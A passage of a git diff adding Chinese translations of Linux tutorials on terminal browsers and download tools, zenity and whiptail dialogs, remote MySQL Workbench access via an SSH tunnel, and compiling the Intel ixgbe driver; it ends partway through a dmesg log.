+[5]:http://banshee.fm/ +[6]:http://www.makeuseof.com/tag/banshee-20-comprehensive-media-player-streamer-podcast-tool-linux/ +[7]:https://wiki.gnome.org/Apps/Rhythmbox +[8]:http://www.makeuseof.com/tag/play-manage-music-collection-rhythmbox-linux/ +[9]:https://www.clementine-player.org/ +[10]:http://www.makeuseof.com/tag/need-a-lightweight-music-player-without-sacrificing-features-clementine-cross-platform/ +[11]:http://music.google.com/ diff --git a/published/201506/20150410 7 Command Line Tools for Browsing Websites and Downloading Files in Linux.md b/published/201506/20150410 7 Command Line Tools for Browsing Websites and Downloading Files in Linux.md new file mode 100644 index 0000000000..db3aa23b6e --- /dev/null +++ b/published/201506/20150410 7 Command Line Tools for Browsing Websites and Downloading Files in Linux.md @@ -0,0 +1,149 @@ +Linux中7个用来浏览网页和下载文件的命令 +================================================================================ +上一篇文章中,我们提到了`rTorrent`、`wget`、`cURL`、`w3m`、`Elinks`等几个有用的工具,很多人回信说还有其它几个类似的工具也值得讨论,所以就有了这篇文章。如果错过了第一部分的讨论,可以通过下面的链接来回顾。 + +- [5 个基于Linux命令行的文件下载和网站浏览工具][1] + +这篇文章介绍了Linux下用于浏览网页和下载文件的其它几个命令行工具。 + +### 1. links ### + +Links是用C语言写的一个开源web浏览器,支持包括Linux、Windows、OS X和OS/2在内的所有主流平台。它提供了基于文本和图形界面两种版本。大多数标准的Linux发行版都默认包含了基于文本的版本。如果您的发行版中默认没有安装links,可以通过包管理工具进行安装。Elinks是links的一个衍生版本。 + + # apt-get install links + # yum install links + +安装完成后,您可以像下图中那样使用命令浏览任意网页。 + + # links www.tecmint.com + +在links中,可以使用键盘上的上下箭头键进行浏览。在超链接上按下右箭头会打开它,按下左箭头会返回到上一页面,按q键退出。 + +下图展示了如何使用links访问Tecmint的网站。 + +![](http://www.tecmint.com/wp-content/uploads/2015/04/links-browse-websites-terminal.gif) + +如何你想安装links的图形界面版本,可能需要从[http://links.twibright.com/download/][2]下载最新的版本(version 2.9)的源代码压缩包。 + +同样,也可以像下面那样使用wget下载安装。 + + # wget http://links.twibright.com/download/links-2.9.tar.gz + # tar -xvf links-2.9.tar.gz + # cd links-2.9 + # ./configure –enable-graphics + # make + # make install + +**注意**:links源代码的编译需要安装libpng, libjpeg, TIFF library, SVGAlib, XFree86, C Compiler 和 make这几个包。 + +### 2. links2 ### + +Links是Twibright实验室编写的web浏览器,而Links2是基于它的一个图形化版本。Links2支持鼠标点击,设计强调速度,不支持任何CSS,在一定程度上很好地支持了HTML和JavaScript。 + +通过下面的命令安装Links2。 + + # apt-get install links2 + # yum install links2 + +### 3. lynx ### + +lynx是一个基于文本的web浏览器,使用GNU GPLv2协议发布,用ISO C编写。lynx是一个可高度配置的web浏览器,是许多系统管理员的救世主,有最悠久的web浏览器之称,并且至今仍然处在积极开发中。 + +通过下面的命令安装lynx。 + + # apt-get install lynx + # yum install lynx + +安装完成后,可以像下图中那样使用这个命令浏览网页。 + + # lynx www.tecmint.com + +![](http://www.tecmint.com/wp-content/uploads/2015/04/lynx-commandline-web-browsing.gif) + +如果你想对links和lyns了解更多,可以访问下面的链接。 + +- [使用Lynx和Links命令浏览网页][3] + +### 4. youtube-dl ### + +youtube-dl是一个跨平台的应用,可以用来下载youtube和另外几个网站上的视频。它主要使用python开发,使用GNU GPL协议发布,并且超越了法律约束。(youtube不允许用户下载视频,因此使用youtube-dl可能会导致违法。使用该工具之前请您仔细阅读相关法律。) + +使用如下命令安装youtube-dl。 + + # apt-get install youtube-dl + # yum install youtube-dl + +安装完成后,可以用如下命令像图中那样从youtube网站下载视频。 + + # youtube-dl https://www.youtube.com/watch?v=ql4SEy_4xws + +![](http://www.tecmint.com/wp-content/uploads/2015/04/download-youtube-videos-from-terminal.gif) + +如果你想对youtube-dl了解更多,可以访问如下链接。 + +- [YouTube-DL – Linux下的youtube视频下载工具][4] + +### 5. fetch ### + +fetch是类unix系统下的一个检索URL的命令,支持许多选项,例如只检索ipv4或ipv6地址,无重定向,检索请求成功时退出,自动重试等。 + +fetch可以从通过下面的链接下载和安装。 + +- [http://sourceforge.net/projects/fetch/?source=typ_redirect][5] + +编译安装之前,需要安装HTTP Fetcher,可以通过下面的链接下载。 + +- [http://sourceforge.net/projects/http-fetcher/?source=typ_redirect][6] + +### 6. Axel ### + +Axel是Linux下的一个基于命令行的下载加速器,可以对请求使用多线程和多个http和ftp连接加速。 + +使用下面的命令安装Axel。 + + # apt-get install axel + # yum install axel + +Axel安装完成后,可以像下图那样使用这个命令下载任意文件。 + + # axel http://mirror.cse.iitk.ac.in/archlinux/iso/2015.04.01/archlinux-2015.04.01-dual.iso + +![](http://www.tecmint.com/wp-content/uploads/2015/04/download-accelarator-for-linux.gif) + +### 7. aria2 ### + +aria2是一个轻量级的基于命令行的下载工具,并且支持多种协议((HTTP, HTTPS, FTP, BitTorrent以及Metalink)。它可以使用.metalinks文件从多台服务器同时下载ISO文件。 + +使用下面的命令安装aria2。 + + # apt-get install aria2 + # yum install aria2 + +aria2安装完成后,可以像下图那样运行这个命令下载任意文件。 + + # aria2c http://cdimage.debian.org/debian-cd/7.8.0/multi-arch/iso-cd/debian-7.8.0-amd64-i386-netinst.iso + +![Aria2: Linux的命令行下载工具 ](http://www.tecmint.com/wp-content/uploads/2015/04/Download-Files-in-Terminal.gif) + +*Aria2: Linux命令行下载工具* + +目前就这么多了。稍后咱们讨论另一个有意思的话题。请保持联系,常来Tecmint逛逛。别忘了在评论中给我们提供您的宝贵反馈,您的喜爱和分享帮助我们不断前行。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/command-line-web-browser-download-file-in-linux/ + +作者:[Avishek Kumar][a] +译者:[fyh](https://github.com/fyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-5546-1.html +[2]:http://links.twibright.com/download/ +[3]:http://www.tecmint.com/command-line-web-browsers/ +[4]:http://www.tecmint.com/install-youtube-dl-command-line-video-download-tool/ +[5]:http://sourceforge.net/projects/fetch/?source=typ_redirect +[6]:http://sourceforge.net/projects/http-fetcher/?source=typ_redirect +[7]:http://www.tecmint.com/install-aria2-a-multi-protocol-command-line-download-manager-in-rhel-centos-fedora/ diff --git a/published/201506/20150413 How to Show Dialog Box from Bash Shell Script with Examples.md b/published/201506/20150413 How to Show Dialog Box from Bash Shell Script with Examples.md new file mode 100644 index 0000000000..789a56688d --- /dev/null +++ b/published/201506/20150413 How to Show Dialog Box from Bash Shell Script with Examples.md @@ -0,0 +1,175 @@ +如何在Bash Shell脚本中显示对话框 +================================================================================ + +这个教程给出几个如何使用类似zenity和whiptail的工具在Bash Shell 脚本中提供消息/对话框的例子。使用这些工具,你的脚本能够告知用户当前程序运行的状态并能与用户进行交互。这两个工具的不同之处在于显示消息框或者对话框的方式。Zenity用GTK工具包创建图形用户界面,而whiptail则在终端窗口内创建消息框。 + +### Zenity 工具 ### + +在Ubuntu中安装zenity,运行: + + sudo apt-get install zenity + +用zenity创建消息框或者对话框的命令是不言自明的,我们会给你提供一些例子来参考。 + +### 创建消息框 ### + + zenity --info --title "Information Box" --text "This should be information" --width=300 --height=200 + +![消息框截图](http://blog.linoxide.com/wp-content/uploads/2015/03/Screenshot-Information-Box.png) + +创建 Yes/No 询问对话框 + + zenity --question --text "Do you want this?" --ok-label "Yeah" --cancel-label="Nope" + +![问题截图](http://blog.linoxide.com/wp-content/uploads/2015/03/Screenshot-Question.png) + +创建输入框并将输入值保存到变量中 + + a=$(zenity --entry --title "Entry box" --text "Please enter the value" --width=300 --height=200) + echo $a + +![输入框截图](http://blog.linoxide.com/wp-content/uploads/2015/03/Screenshot-Entry-box.png) + +输入后,值会保存在变量 $a 中。 + +这是一个获取用户姓名并显示的实际事例。 + + #!/bin/bash + # + # This script will ask for couple of parameters + # and then continue to work depending on entered values + # + + # Giving the option to user + zenity --question --text "Do you want to continue?" + + # Checking if user wants to proceed + [ $? -eq 0 ] || exit 1 + + # Letting user input some values + FIRSTNAME=$(zenity --entry --title "Entry box" --text "Please, enter your first name." --width=300 --height=150) + LASTNAME=$(zenity --entry --title "Entry box" --text "Please, enter your last name." --width=300 --height=150) + AGE=$(zenity --entry --title "Entry box" --text "Please, enter your age." --width=300 --height=150) + + # Displaying entered values in information box + zenity --info --title "Information" --text "You are ${FIRSTNAME} ${LASTNAME} and you are ${AGE}(s) old." --width=300 --height=100 + +这些是运行前面脚本的截图。 + +![例1-问题-1](http://blog.linoxide.com/wp-content/uploads/2015/03/Example1-Question-1.png) + +框1 + +![例1-输入框-1](http://blog.linoxide.com/wp-content/uploads/2015/03/Example1-Entry-box-1.png) + +输入框 + +![例1-输入框-2](http://blog.linoxide.com/wp-content/uploads/2015/03/Example1-Entry-box-2.png) + +输入框 + +![例1-输入框-3](http://blog.linoxide.com/wp-content/uploads/2015/03/Example1-Entry-box-3.png) + +输入框 + +![例1-信息](http://blog.linoxide.com/wp-content/uploads/2015/03/Example1-Information.png) + +信息框 + +别忘了查看也许能帮助到你的有用的[zenity 选项][1]。 + +### Whiptail 工具 ### + +在Ubuntu上安装whiptail,运行 + + sudo apt-get install whiptail + +用whiptail创建消息框或者对话框的命令也是无需解释的,我们会给你提供一些基本例子作为参考。 + +### 创建消息框 ### + + whiptail --msgbox "This is a message" 10 40 + +![whiptail消息框截图](http://blog.linoxide.com/wp-content/uploads/2015/03/Screenshot-whiptail-msgbox.png) + +### 创建 Yes/No 对话框 ### + + whiptail --yes-button "Yeah" --no-button "Nope" --title "Choose the answer" --yesno "Will you choose yes?" 10 30 + +![whiptail对话框截图](http://blog.linoxide.com/wp-content/uploads/2015/03/Screenshot-whiptail-yesno.png) + +### 创建有缺省值的输入框 ### + + whiptail --inputbox "Enter your number please." 10 30 "10" + +![whiptail输入框截图](http://blog.linoxide.com/wp-content/uploads/2015/03/Screenshot-whiptail-entry.png) + +尝试使用输入值要注意的一点是whiptail用stdout显示对话框,用stderr输出值。这样的话,如果你用 var=$(...),你就根本不会看到对话框,也不能获得输入的值。解决方法是交换stdout和stderr。在whiptail命令后面添加 **3>&1 1>&2 2>&3** 就可以做到。你想获取输入值的任何whiptail命令也是如此。 + +### 创建菜单对话框 ### + + whiptail --menu "This is a menu. Choose an option:" 20 50 10 1 "first" 2 "second" 3 "third" + +![whiptail菜单截图](http://blog.linoxide.com/wp-content/uploads/2015/03/Screenshot-whiptail-menu.png) + +这是一个请求用户输入一个文件夹的路径并输出它的大小的 **shell 脚本**。 + + #!/bin/bash + # + # + + # Since whiptail has to use stdout to display dialog, entered value will + # be stored in stderr. To switch them and get the value to stdout you must + # use 3>&1 1>&2 2>&3 + FOLDER_PATH=$(whiptail --title "Get the size of folder" \ + --inputbox "Enter folder path:" \ + 10 30 \ + "/home" \ + 3>&1 1>&2 2>&3) + + if [ -d $FOLDER_PATH ] + then + size=$(du -hs "$FOLDER_PATH" | awk '{print $1}') + whiptail --title "Information" \ + --msgbox "Size of ${FOLDER_PATH} is ${size}" \ + 10 40 + elif [ -f $FOLDER_PATH ] + then + whiptail --title "Warning!!!" \ + --msgbox "The path you entered is a path to a file not a folder!" \ + 10 40 + else + whiptail --title "Error!!!" + --msgbox "Path you entered is not recognized. Please try again" \ + 10 40 + fi + +这是之前例子的一些截图: + +![例2-输入框](http://blog.linoxide.com/wp-content/uploads/2015/03/Example2-Entry-box.png) + +输入框 + +![例2-消息框](http://blog.linoxide.com/wp-content/uploads/2015/03/Example2-Information.png) + +消息框 + +如果你在终端下工作,[帮助手册][2]总是有用的。 + +### 结论 ### + +选择合适的工具显示对话框取决于你期望在桌面机器还是服务器上运行你的脚本。桌面机器用户通常使用GUI窗口环境,也可能运行脚本并与显示的窗口进行交互。然而,如果你期望用户是在服务器上工作的,(在没有图形界面时,)你也许希望能确保总能显示,那就使用whiptail或者任何其它在纯终端窗口显示对话框的工具。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-shell-script/bash-shell-script-show-dialog-box/ + +作者:[Ilija Lazarevic][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/ilijala/ +[1]:https://help.gnome.org/users/zenity/stable/ +[2]:http://linux.die.net/man/1/whiptail \ No newline at end of file diff --git a/published/201506/20150413 How to manage remote MySQL databases on Linux VPS using a GUI tool.md b/published/201506/20150413 How to manage remote MySQL databases on Linux VPS using a GUI tool.md new file mode 100644 index 0000000000..a0114d5382 --- /dev/null +++ b/published/201506/20150413 How to manage remote MySQL databases on Linux VPS using a GUI tool.md @@ -0,0 +1,176 @@ +如何使用图形化工具远程管理 Linux上的MySQL +================================================================================ +如果你在一个远程的VPS上运行了MySQL服务器,你会如何管理你的远程数据库主机呢?基于web的数据库管理工具例如[phpMyAdmin][2]或者[Adminer][3]可能会是你第一个想起的。这些基于web的管理工具需要一个正常运行的后端的web服务和PHP引擎。但是,如果你的VPS仅仅用来做数据库服务(例如,数据库与其它服务独立存放的分布式结构),为偶尔的数据库管理提供一整套的LAMP是浪费VPS资源的。更糟的是,LAMP所打开的HTTP端口可能会成为你VPS资源的安全漏洞。 + +作为一种选择,你可以使用在一台客户机上运行本地的MySQL客户端,当然,如果没有别的选择,一个纯净的MySQL命令行客户端将是你的默认选择。但是命令行客户端的功能是有限的,因为它没有生产级数据库管理功能,例如:可视化SQL开发、性能调优、模式验证等等。你是否在寻找一个成熟的MySQL管理工具,那么一个MySQL的图形化管理工具将会更好的满足你的需求。 + +###什么是MySQL Workbench? + +作为一个由Oracle开发的集成的数据库管理工具,[MySQL Workbench][4]不仅仅是一个简单的MySQL客户端。简而言之,Workbench是一个跨平台的(如:Linux,MacOX,Windows)数据库设计、开发和管理的图形化工具。MySQL Workbench 社区版是遵循GPL协议的。作为一个数据库管理者,你可以使用Workbench去配置MySQL服务、管理MySQL用户、进行数据库的备份与还原、监视数据库的健康状况,所有的都在对用户友好的图形化环境下处理。 + +在这个手册里,让我们演示下如何在Linux下安装和使用MySQL Workbench。 + +###在Linux上安装MySQL Workbench + +你可以在任何一个桌面linux机器上运行MySQL Workbench来设置你的数据库管理环境。虽然一些Linux发行版(例如:Debian/Ubuntu)在他们的软件源中已经有了MySQL Workbench,但是从官方源中安装是一个好的方法,因为他们提供了最新的版本。这里介绍了如何设置一个官方的Workbench软件源和从中安装它。 + +#### 基于 Debian 的桌面 (Debia, Ubuntu, Mint): #### + +到其[官方站点][5],选择一个和你环境匹配的DEB文件,并下载安装: + +例如,对于 Ubuntu 14.10: + + $ wget http://dev.mysql.com/get/mysql-apt-config_0.3.4-2ubuntu14.10_all.deb + $ sudo dpkg -i mysql-apt-config_0.3.4-2ubuntu14.10_all.deb + +对于 Debian 7: + + $ wget http://dev.mysql.com/get/mysql-apt-config_0.3.3-1debian7_all.deb + $ sudo dpkg -i mysql-apt-config_0.3.3-1debian7_all.deb + +当你安装DEB文件时,你会看到下面的配置菜单,并且选择配置那个MySQL产品 + +![](https://farm8.staticflickr.com/7702/16928715218_b1fcbcdbf3_c.jpg) + +选择“Utilities”。完成配置后,选择“Apply”去保存配置。然后,更新包索引,并且安装Workbench。 + + $ sudo apt-get update + $ sudo apt-get install mysql-workbench + +#### 基于 Red Hat 的桌面 (CentOS, Fedora, RHEL): #### + +去官网下载并安装适合你Linux环境的RPM源包。 + +例如,对于 CentOS 7: + + $ wget http://dev.mysql.com/get/mysql-community-release-el7-5.noarch.rpm + $ sudo yum localinstall mysql-community-release-el7-5.noarch.rpm + +对于 Fedora 21: + + $ wget http://dev.mysql.com/get/mysql-community-release-fc21-6.noarch.rpm + $ sudo yum localinstall mysql-community-release-fc21-6.noarch.rpm + +验证"MySQL Tools Community"源是否被安装: + + $ yum repolis enabled + +![](https://farm9.staticflickr.com/8826/16494069254_15458ace52_c.jpg) + +安装Workbench + + $ sudo yum install mysql-workbench-community + +###设置远程数据库的安全连接 + +接下来是为你运行MySQL服务的VPS设置一个远程连接。当然,你可以直接通过图形化的Workbench连接你的远程MySQL服务器(在数据库开放了远程连接后)。然而,这样做有很大的安全风险,因为有些人很容易窃听你的数据库传输信息,并且一个公开的MySQL端口(默认为3306)会是另外一个攻击入口。 + +一个比较好的方法是关掉远程访问数据库服务功能,(仅允许在VPS 上的127.0.0.1访问)。然后在本地客户机和远程VPS之间设置一个SSH隧道,这样的话,和MySQL之间的数据能安全地通过它的本地回环接口上中继。相比较设置一个SSL加密的连接来说,配置SSH隧道需要很少的操作,因为它仅仅需要SSH服务,并且在大多数的VPS上已经部署了。 + +让我们来看看如何来为一个MySQL Workbench设置一个SSH隧道。 + +在这个设置里,不需要你开放远程访问MySQL服务。 + +在一个运行了Workbench的本地客户机上,键入下面的命令,替换'user'(远程 VPS 的用户名)和'remote_vps'(远程 VPS 的地址)为你自己的信息: + + $ ssh user@remote_vps -L 3306:127.0.0.1:3306 -N + +你会被要求输入你VPS的SSH密码,当你成功登陆VPS后,在本地的3306端口和远程VPS的3306端口之间将会建立一个SSH隧道。这里你不会在前台看到任何信息显示。 + +或者你可以选择在后台运行SSH隧道,按CTRL+Z停止当前的命令,然后输入bg并且ENTER + +![](https://farm8.staticflickr.com/7714/16928715438_bf0db49b3b_c.jpg) + +这样SSH隧道就会在后台运行了。 + +###使用MySQL Workbench远程管理MySQL服务 + +在建立好SSH隧道后,你可以通过MySQL Workbench去远程连接MySQL服务了。 + +输入下面命令启动Workbench: + + $ mysql-workbench + +![](https://farm9.staticflickr.com/8768/16494069294_0fce571ddb_c.jpg) + +点击Workbench页面上面的“加号”图标去创建一个新的数据库连接,接着会出现下面的连接信息。 + +- **Connection Name**: 任意描述 (例如: My remote VPS database) +- **Hostname**: 127.0.0.1 +- **Port**: 3306 +- **Username**: MySQL 用户名 (例如 root) + +![](https://farm8.staticflickr.com/7727/16928715288_d9ac3bfc7a_c.jpg) + +注意:因为隧道设置的是127.0.0.1:3306,所以主机名字段必须是127.0.0.1,而不能是远程VPS的IP地址或者主机名。 + +当你设置好一个新的数据库连接后,你会在Workbench窗口看到一个新的框,点击那个框就会实际去连接远程的MySQL服务了。 + +![](https://farm8.staticflickr.com/7650/17114969532_0252ffcd31_c.jpg) + +当你登录到MySQL 服务器后,你可以再左侧面板看到各种管理任务。让我们来看一些常见的管理任务。 + +#### MySQL Server Status #### + +该菜单显示了展示数据库服务器的资源使用情况的实时监控面板。(例如:流量、链接、读写) + +![](https://farm8.staticflickr.com/7627/16494069414_9d838d4138_c.jpg) + +#### Client Connections #### + +客户端连接数是一个极其重要的监控的资源,这个菜单显示了每个连接的详细信息。 + +![](https://farm9.staticflickr.com/8747/16909119337_a8d89772dd_c.jpg) + +#### 用户和权限 #### + +这个菜单允许你管理MySQL用户,包括他们的资源限制和权限。 + +![](https://farm9.staticflickr.com/8765/16494069384_760fc17c8f_c.jpg) + +#### MySQL Server Administration #### + +你可以启动或关闭MySQL服务,并且检查它的服务日志。 + +![](https://farm8.staticflickr.com/7588/17114969592_54526dfb32_c.jpg) + +#### Database Schema Management #### + +可以可视化的查看、更改、检查数据库结构,在“Schemas”标题下选择任何一个数据库或表,然后右击 + +![](https://farm8.staticflickr.com/7665/16496363973_fd03a96198_c.jpg) + +![](https://farm9.staticflickr.com/8744/16909119497_7c884617b8_c.jpg) + +#### Database Query #### + +你可以执行任何的语句(只要你的权限允许),并且检查其结果。 + +![](https://farm8.staticflickr.com/7716/17114969692_c0f02bb277_c.jpg) + +此外,性能统计数据和报表仅用于MySQL5.6以上的版本。对于5.5及其以下的版本,性能部分会以灰色显示。 + +### 结论 ### + +简介且直观的选项卡界面,丰富的特性,开源,使MySQL Workbench成为一个非常好的可视化数据库设计和管理工具。为其减分的是它的性能。我注意到在一台运行繁忙的服务器上,Workbench有时会变得异常缓慢,尽管它的性能差强人意,我依然认为MySQL Workbench是MySQL数据库管理员和设计人员必备的工具之一。 + +你曾在你的生产环境中用过Workbench吗?或者你还有别的GUI工具可以推荐?请分享你的经验吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/remote-mysql-databases-gui-tool.html + +作者:[Dan Nanni][a] +译者:[tyzy313481929](https://github.com/tyzy313481929) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni +[1]:http://xmodulo.com/go/digitalocean +[2]:http://ask.xmodulo.com/install-phpmyadmin-centos.html +[3]:http://xmodulo.com/set-web-based-database-management-system-adminer.html +[4]:http://mysqlworkbench.org/ +[5]:http://dev.mysql.com/downloads/repo/apt/ +[6]:http://dev.mysql.com/downloads/repo/yum/ +[7]:http://xmodulo.com/how-to-allow-remote-access-to-mysql.html diff --git a/published/201506/20150413 Linux FAQs with Answers--How to compile ixgbe driver on CentOS, RHEL or Fedora.md b/published/201506/20150413 Linux FAQs with Answers--How to compile ixgbe driver on CentOS, RHEL or Fedora.md new file mode 100644 index 0000000000..52ce998473 --- /dev/null +++ b/published/201506/20150413 Linux FAQs with Answers--How to compile ixgbe driver on CentOS, RHEL or Fedora.md @@ -0,0 +1,196 @@ +Linux 有问必答: 如何在红帽系linux中编译Ixgbe驱动 +================================================================================ +> **提问**:我想要安装最新版的ixgbe 10G网卡驱动。在CentOS, Fedora 或 RHEL中,我应该如何编译ixgbe驱动? + +想要在linux使用Intel的PCI Express 10G网卡(例如,82598,82599,x540),需要安装Ixgbe驱动。如今的Linux发行版都会预安装ixgbe的可加载模块,但是预安装的ixgbe驱动不是完整功能版。如果想要开启和定制所有10G网卡的功能(如,RSS、多队列、虚拟化功能、硬件 offload 等),需要从源码编译安装。 + +本文基于红帽系平台(如,CentOS,RHEL或Fedora)。Debian系平台,请看[这篇文章][1] + +### 第一步: 安装依赖 ### + +首先,安装必要的开发环境和安装匹配的内核头文件 + + $ sudo yum install gcc make + $ sudo yum install kernel-devel + +### 第二步: 编译Ixgbe ### + +从[官方页面][2]下载最新Ixgbe源码 + + $ wget http://downloads.sourceforge.net/project/e1000/ixgbe%20stable/3.23.2/ixgbe-3.23.2.tar.gz + +请检查支持的内核版本。例如,Ixgbe3.23.2版本支持Linux内核版本2.6.18到3.18.1。 + +提取压缩包并编译 + + $ tar -xvf ixgbe-3.23.2.tar.gz + $ cd ixgbe-3.23.2/src + $ make + +如果成功,可以在当前目录找到编译完成的驱动(ixgbe.ko)。 + +可以运行这个命令来查看编译信息: + + $ modinfo ./ixgbe.ko + +将会输出一个Ixgbe驱动的可用参数列表 + +![](https://farm9.staticflickr.com/8789/16429483653_b9b6e6cd7f_c.jpg) + +### 第三步: 加载 Ixgbe 驱动 ### + +这步准备加载已经编译好的驱动。 + +如果系统已经加载了Ixgbe驱动,首先需要卸载掉老版本。否则,新版本不能加载。 + + $ sudo rmmod ixgbe.ko + +然后插入编译完成的驱动到内核中: + + $ sudo insmod ./ixgbe.ko + +同时,你可以设置启动参数 + + $ sudo insmod ./ixgbe.ko FdirPballoc=3 RSS=16 + +验证驱动是否加载成功,使用dmesg命令,查看其输出 + + $ dmesg + +---------- + + Intel(R) 10 Gigabit PCI Express Network Driver - version 3.23.2 + Copyright (c) 1999-2014 Intel Corporation. + ixgbe 0000:21:00.0: PCI INT A -> GSI 64 (level, low) -> IRQ 64 + ixgbe 0000:21:00.0: setting latency timer to 64 + ixgbe: Receive-Side Scaling (RSS) set to 16 + ixgbe: Flow Director packet buffer allocation set to 3 + ixgbe: 0000:21:00.0: ixgbe_check_options: Flow Director will be allocated 256kB of packet buffer + ixgbe: 0000:21:00.0: ixgbe_check_options: FCoE Offload feature enabled + ixgbe 0000:21:00.0: irq 87 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 88 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 89 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 90 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 91 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 92 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 93 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 94 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 95 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 96 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 97 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 98 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 99 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 100 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 101 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 102 for MSI/MSI-X + ixgbe 0000:21:00.0: irq 103 for MSI/MSI-X + ixgbe 0000:21:00.0: eth3: DCA registration failed: -1 + ixgbe 0000:21:00.0: PCI Express bandwidth of 32GT/s available + ixgbe 0000:21:00.0: (Speed:5.0GT/s, Width: x8, Encoding Loss:20%) + ixgbe 0000:21:00.0: eth3: MAC: 2, PHY: 9, SFP+: 3, PBA No: E68793-006 + ixgbe 0000:21:00.0: 90:e2:ba:5b:e9:1c + ixgbe 0000:21:00.0: eth3: Enabled Features: RxQ: 16 TxQ: 16 FdirHash RSC + ixgbe 0000:21:00.0: eth3: Intel(R) 10 Gigabit Network Connection + ixgbe 0000:21:00.1: PCI INT B -> GSI 68 (level, low) -> IRQ 68 + ixgbe 0000:21:00.1: setting latency timer to 64 + ixgbe: 0000:21:00.1: ixgbe_check_options: FCoE Offload feature enabled + ixgbe 0000:21:00.0: registered PHC device on eth3 + ixgbe 0000:21:00.1: irq 104 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 105 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 106 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 107 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 108 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 109 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 110 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 111 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 112 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 113 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 114 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 115 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 116 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 117 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 118 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 119 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 120 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 121 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 122 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 123 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 124 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 125 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 126 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 127 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 128 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 129 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 130 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 131 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 132 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 133 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 134 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 135 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 136 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 137 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 138 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 139 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 140 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 141 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 142 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 143 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 144 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 145 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 146 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 147 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 148 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 149 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 150 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 151 for MSI/MSI-X + ixgbe 0000:21:00.1: irq 152 for MSI/MSI-X + ADDRCONF(NETDEV_UP): eth3: link is not ready + 8021q: adding VLAN 0 to HW filter on device eth3 + ixgbe 0000:21:00.1: eth4: DCA registration failed: -1 + ixgbe 0000:21:00.1: PCI Express bandwidth of 32GT/s available + ixgbe 0000:21:00.1: (Speed:5.0GT/s, Width: x8, Encoding Loss:20%) + ixgbe 0000:21:00.1: eth4: MAC: 2, PHY: 9, SFP+: 4, PBA No: E68793-006 + ixgbe 0000:21:00.1: 90:e2:ba:5b:e9:1e + ixgbe 0000:21:00.1: eth4: Enabled Features: RxQ: 48 TxQ: 48 FdirHash RSC + ixgbe 0000:21:00.1: eth4: Intel(R) 10 Gigabit Network Connection + ixgbe 0000:21:00.0: eth3: detected SFP+: 3 + ixgbe 0000:21:00.1: registered PHC device on eth4 + ADDRCONF(NETDEV_UP): eth4: link is not ready + 8021q: adding VLAN 0 to HW filter on device eth4 + ixgbe 0000:21:00.1: eth4: detected SFP+: 4 + ixgbe 0000:21:00.0: eth3: NIC Link is Up 10 